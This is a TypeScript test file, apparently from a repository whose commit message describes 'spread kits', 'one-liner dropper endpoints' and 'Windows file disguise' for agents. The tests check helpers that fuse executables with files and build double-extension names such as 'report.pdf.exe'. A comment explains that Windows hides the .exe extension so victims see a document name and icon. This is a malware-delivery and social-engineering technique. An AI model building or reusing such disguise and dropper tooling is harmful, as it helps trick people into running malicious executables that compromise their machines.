Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
66 lines
2.9 KiB
TypeScript
66 lines
2.9 KiB
TypeScript
import { describe, expect, it } from 'vitest';
|
|
import {
|
|
defaultEmbeddedName,
|
|
defaultRunnerName,
|
|
fusionTitleFromFilename,
|
|
isFusionExeFile,
|
|
fusionPayloadKind,
|
|
fusionFileTypeLabel,
|
|
disguisedWindowsRunnerName,
|
|
disguisedDisplayName,
|
|
} from './fusionMedia';
|
|
|
|
describe('fusionMedia', () => {
|
|
it('detects exe extensions', () => {
|
|
expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
|
|
expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
|
|
expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
|
|
expect(isFusionExeFile(null)).toBe(false);
|
|
});
|
|
|
|
it('returns correct payload kind', () => {
|
|
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
|
|
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
|
|
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
|
|
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
|
|
expect(fusionPayloadKind(null)).toBe('file');
|
|
});
|
|
|
|
it('derives title from any filename', () => {
|
|
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
|
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
|
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
|
|
expect(fusionTitleFromFilename('document.docx')).toBe('document');
|
|
});
|
|
|
|
it('builds disguised double-extension runner names for non-exe files', () => {
|
|
// Double-extension trick: Windows hides .exe → user sees the document name + icon
|
|
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
|
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
|
|
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
|
|
// exe payloads are not double-extended (they run directly)
|
|
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
|
|
// embedded = same disguised name
|
|
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
|
});
|
|
|
|
it('disguisedWindowsRunnerName works for all types', () => {
|
|
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
|
|
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
|
|
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
|
|
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
|
|
});
|
|
|
|
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
|
|
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
|
|
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
|
|
});
|
|
|
|
it('returns friendly file type labels', () => {
|
|
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
|
|
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
|
|
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
|
|
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
|
|
});
|
|
});
|